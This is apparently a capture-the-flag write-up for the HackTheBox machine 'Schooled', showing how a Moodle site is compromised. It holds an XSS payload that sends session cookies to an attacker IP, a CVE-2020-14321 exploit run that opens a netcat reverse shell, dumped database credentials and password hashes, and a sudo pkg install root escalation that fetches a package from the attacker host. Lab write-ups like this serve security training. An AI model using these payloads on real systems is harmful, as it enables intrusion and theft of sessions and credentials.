Schooled

CTF	HackTheBox
Category	Writeup
Created	@July 12, 2021 7:04 AM
Date	
Description	
Fields	Pentest
Level	Medium
Tags	Moodle

Info

Credential

User	Password	Service	Note
phillips_manuel		Moodle	phillips_manuel@staff.schooled.htb
moodle	PlaybookMaster2020	MySQL	
jamie	!QAZ2wsx	System	

Web (80)

- hostname: `schooled.htb`
- Might run **Moodle**
- subdomain: `moodle.schooled.htb`

- version: 3.6

MySQL X (33060)

- The response `HY000` in the nmap result has no useful meaning. See Error Message and Elements -- SQLSTATE.
- Connect using `mysqlsh --mx -u admin --password=admin -h $ip`.

Path

User

1. Got the hostname from the website.
2. The website metioned they using Moodle many times, so try to visit `moodle.schooled.htb` and get good luck.
3. Register an user.
4. `http://moodle.schooled.htb/moodle/admin/tool/dataprivacy/summary.php` has some system information, so I tried to view `http://moodle.schooled.htb/moodle/admin/tool/`, which showed a lot information, and got the version of moodle was about 3.6 in `upgrade.txt`.
5. In the announcement of the Math course, the teacher mentioned he would *check all students' MoodleNet Profile*, so I went check on the field an found it had XSS vulnerability.
   - Payload:

```
<script>document.location='<http://10.10.16.9:13338/?c='+document.cookie></script>
```

   - Result:

```
10.10.10.234 - - [12/Jul/2021 02:39:23] "GET /?c=MoodleSession=0b6vl6fppoggoakvcji6ic
vkgr HTTP/1.1" 200 -
INFO:root:GET request,
Path: /favicon.ico
Headers:
Host: 10.10.16.9:13338
```

```
User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: <http://10.10.16.9:13338/?c=MoodleSession=0b6vl6fppoggoakvcji6icvkgr>
```

6. Got the teacher account, but he was not manager. Found CVE-2020-14321 could allow teacher account become manager, so I used the script to become the manager and upload php file. Then I could visit `http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id` to execute command.
7. Got RCE using this command. Remember, it was a BSD machine.

```
$ python3 moodle/CVE-2020-14321.py  <http://moodle.schooled.htb/moodle> -c "bash -c
 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.9 13337 >/tmp/f';" -
-cookie 4muhpe9dps0gvmb5l23eg740mg
 __     __     __   __  __   __              __  __
/  \\  /|_  __   _) /  \\  _) /  \\ __  /| |__|  _)  _) /|
\\__ \\/ |__     /__ \\__/ /__ \\__/      |    | __) /__  | • by lanz

Moodle 3.9 - Remote Command Execution (Authenticated as teacher)
Course enrolments allowed privilege escalation from teacher role into manager role to
RCE

[+] Login on site: MoodleSession:4muhpe9dps0gvmb5l23eg740mg ✓
[+] Updating roles to move on manager accout: ✓
[+] Updating rol manager to enable install plugins: ✓
[+] Uploading malicious .zip file: ✓
[+] Executing bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1
6.9 13337 >/tmp/f';: ✓
[+] Keep breaking ev3rYthiNg!!

$ nc -lvnp 13337
Listening on 0.0.0.0 13337
Connection received on 10.10.10.234 60266
sh: can't access tty; job control turned off
$ whoami
www
```

8. Found MySQL credential in `config.php`.

```
$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
```

```
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',
);
```

9. Found common use commands at `/usr/local/bin` but not in `PATH`, including `python3`, `curl`, etc..
10. Logged in MySQL. Dumped all user credentials. Crack admin's password. Logged in as `jamie` using the cracked password `!QAZ2wsx` via SSH.

```
moodle@localhost [moodle]> select username, password, secret, lastlogin from mdl_use
r;
+------------------+--------------------------------------------------------------+-
----------------+------------+
| username         | password                                                     |
 secret          | lastlogin  |
+------------------+--------------------------------------------------------------+-
----------------+------------+
| guest            | $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2 |
|          0 |
| admin            | $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW |
| 1608681411 |
+------------------+--------------------------------------------------------------+-
----------------+------------+
```

11. Gain User!

Root

1. `jamie` can run `pkg install *` with `sudo`. So just followed GTFOBins and got root flag.

```
$ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *
$ curl 10.10.16.9:13338/x-1.0.txz --output x-1.0.txz
$ sudo pkg install -y --no-repo-update ./x-1.0.txz
```